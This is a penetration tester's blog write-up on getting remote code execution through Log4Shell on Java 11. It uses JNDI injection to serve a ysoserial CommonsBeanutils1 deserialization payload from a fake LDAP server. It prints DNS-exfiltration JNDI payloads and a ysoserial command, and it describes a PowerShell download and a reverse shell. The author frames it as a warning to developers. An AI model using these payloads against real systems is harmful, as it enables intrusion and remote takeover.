Log4j RCE When Remote Class File Won’t Load (Newer Java Versions- Deserialization Vector)
So you might have heard of the log4j vulnerability (lol). If you’ve read the initial proof of concepts/general information that rushed out at first - in most cases it all point you in the same direction…
- Data exfiltration via DNS lookups: most of the time this means sending a JNDI request that resolves an environmental variable before placing it in the “subdomain” position of a URL where DNS lookups are being watched. The main three things that I got out of this were hostname, username, and java version. This universally is a great low impact detection method at the time of this writing.
- Remote code execution by hosting a malicious class file: The class file containing the commands the attacker wants to run. The JNDI payload an attacker uses here tells the Java target to look up an object that the attacker has configured to then redirect to this malicious class file.
In vulnerable instances of Log4j, number 1 is applicable pretty much regardless of Java version assuming the JNDI lookups haven’t been manually disabled in the configuration. You can in most cases rely on this method working to get the Java Version or other bits of information. It’s important to get the Java version to understand if number 2 from above is even possible. In most cases if a target is running a more current release of Java, they will not allow for a remote class file to be loaded. This means trying the number 2 mentioned above will mostly just waste your time and if someone is watching logs will get your IP(s) blocked. You’ll see the initial LDAP/RMI/etc. request from the JNDI injection hit your attacker server but you never see the redirect to malicious class file from the client occur. Again, this is because remote class loading is something that was addressed in newer Java versions. More information seems to be tricking out that addresses this; but if you landed here because you want to understand why your “Exploit.class” is never picked up by the target — you might be in luck (target depending).
In my case, I found a vulnerable Log4j instance during a security assessment by using the new Burp plugin and running it against the log-in page of a web application. In this case the target application was running on a Windows 10 Virtual Machine with Apache as the underlying Web Server hosting the application. I got a hit from the Burpsuite plugin that the username parameter took a URL encoded JNDI payload that resulted in a Burp Collaborator DNS lookup. Bingo! I assumed this would mean easy RCE from all the headlines and PoCs “in the news” but that was not true. Well the “easy” part wasn’t true at least.
The next step after collecting my excitement was to attempt the number 1 attack mentioned at the start of this article. Doing so I found out that my target was a windows 10 machine running Java 11.0.11 using the following payloads, respectively:
${jndi:ldap://foo${sys:os.version}-bar.<yourBurpUrlHere>.burpcollaborator.net/test}${jndi:ldap://foo${sys:java.version}-bar.<yourBurpUrlHere>.burpcollaborator.net/test}
My next step was to run the PoC I kept reading above these past few weeks. I had a handful of them stored from my research. All of which basically did the same thing that I briefly described in the number 2 attack above. I kept failing with them which is when, and why I did the research to discover after JRE version 11.0.1, Remote Class Loading is disabled by default. Great… “So maybe this Log4j vulnerability is overhyped?” I started to think….
Some more research into JNDI injection attacks was my next logical thought since after all, I did have confirmed JNDI injection through Log4j/Log4shell. The additional research pointed me to a Tweet from an user @marcioalm
It looked at this point like my best bet would be to try and understand more about deserialization; something I’ve never had to get too “hands-on” with. Something I knew from plenty of research was that it’s generally difficult to find and exploit; but critical if exploitable usually. It stands on the OWASP Top 10 as well (technically under the “Injection” category, as of the 2021 OWASP update from 2017)
I pulled down a fresh copy of JNDI-EXPLOIT-KIT and Ysoserial as seen in the Tweet and got to work. The big deal behind black box testing for Java deserialization exploits is that you’re essentially crossing your fingers and hoping you’ll find a “class” that can be abused AND is already available on the target. There’s a large number of variables involved there. Sometimes if you are lucky, you will have an understanding of the application you are targeting. Perhaps you can find information about what classes might exist on your target from that logic. Another way is verbose error messages… Occasionally if you give bad/invalid data to a parameter which gets serialized/deserialized, the serializer will spit out verbose errors that may give you hints about what is running “behind the scenes”.
The target in my case had all error messages very well suppressed so that method wasn’t an option; but the HTTP response header from it said “Apache”. Looking into what payloads were available in ysoserial I had to try to deduct or guess which were the most likely to be available on the target. 😒
Being honest, the very first thing I did was try to copy the commands as presented in the Tweet seen early in the article but this didn’t work which is why I started looking for other options in ysoserial. The Tweet example used “CommonsCollections5", but knowing my target was an Apache server I thought maybe I would have better luck with BeansCommonUtils1 (Apache commons Beanutils). The details behind finding a class/gadget chain for deserialization exploitation are well covered in other places on the web and quite frankly I’m not an expert on it, so I’ll stick to moving forward with the articles real purpose and let you read that content on your own.
I knew I needed a blind command to attempt to serialize in a payload which would confirm for me the serialized payload was executing upon deserialization. I wanted to minimize room for error in the command at least until I proved the deserialization to exist and run a command I supplied. I started with an NSLookup to a Burp Collaborator URL. The URL was serialized with ysoserial and I never used the Collaborator link anywhere else at that point. I used a different URL for the JNDI injection to make sure that if I got any hits in Collaborator, it would be because my nslookup command worked on the target, and therefore the command was deserialized insecurely.
ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "nslookup <BurpCollaboratorURL>" > nslookup.ser
To review where I was at this point in summary:
- Confirmed Log4j vulnerability in “username” parameter of some web application via JNDI injection of a BurpSuite Collaborator URL that resulted in a DNS lookup
- Confirmed that Java was too new on the target to make use of the commonly seen PoC’s for Log4j remote class loading attack vector
- Decided my next move was to try different serialized payloads which could prove OOB (Out of band/Blindly) that I was getting execution. This could take a good amount of time and could mean coming up empty handed but seemed worth a shot. Especially given that the HTTP Responses told me I was dealing with an Apache web server, which had the potential for some abusable libraries to exist (namely commons Beanutils).
First, to generate the payload with ysoserial which will serialize the command to do a nslookup (DNS lookup) for our Burp Collaborator URL. We will store the output in a file called “nslookup.ser”:
Next, to serve that payload (nslookup.ser) with JNDI-EXPLOIT-KIT as an “LDAP Serialized Payload” from a fake LDAP server:
After, send a request to the target which will trigger an LDAP lookup via JNDI injection:
Finally, wait for the lookup to happen for the Collaborator link:
In my cases, I had success. I was almost in disbelief so I thought “what other blind command can I run to really test “execution?”. Well from here it would really mean better understanding what operating system the target was running. I already knew from other parts of the pentest engagement that this was a Windows 10 machine, but if I hadn’t known the best way to find out would be to rely on that very first attack vector I discussed early on. We could request certain environmental variables as the “subdomain” location of a Burp Collaborator link, and the DNS lookup should leak that info.
Since we know we are dealing with Windows, I decided to try a PowerShell wget command to a web server that I controlled. If that command ran once deserialized, I should see a hit in my web servers “access” log.
BOOM! So I confirmed at this point I had used the JNDI injection vulnerability found in Log4j to send an LDAP lookup to my malicious LDAP server which would serve up an “LDAP Serialized Payload”. The payload would be insecurely deserialized on the target and in doing so would execute my command.
Last step of course in any “hackers” toolkit of course is to obtain the holy “reverse shell”. This was just a matter of a little bit more powershell command-magic, and of course setting up your preferred listener to receive the shell. For quick PoC and easier redacting I will just use nc below, but in full scale pentest engagements, I usually will try to get a Cobalt Strike Beacon dropped in favor of a simple reverse shell. Lateral movement, persistence, and privilege escalation are all made so so much faster if you have budget for Cobalt Strike and can get a Beacon on your target.
Anyways, as promised… here is our well-earned reverse Powershell shell on nc:
What’s the point of this? Well it was fun. That’s why. But furthermore, I guess there have been a number of devs whose response to the Log4j exploit details was “remote class loading being disabled keeps us safe in newer version of Java”. This attack vector would be a long winded way to reply “no, we really need to push that 100th patch for Log4j because making assumptions will get us shell’d”.
Oh and for God sakes, increase your detection capabilities or hire someone who can!! Lord knows the Zero Day market is just getting warmed up.
Cheers until my next way overdue article/blog!
-N0ur5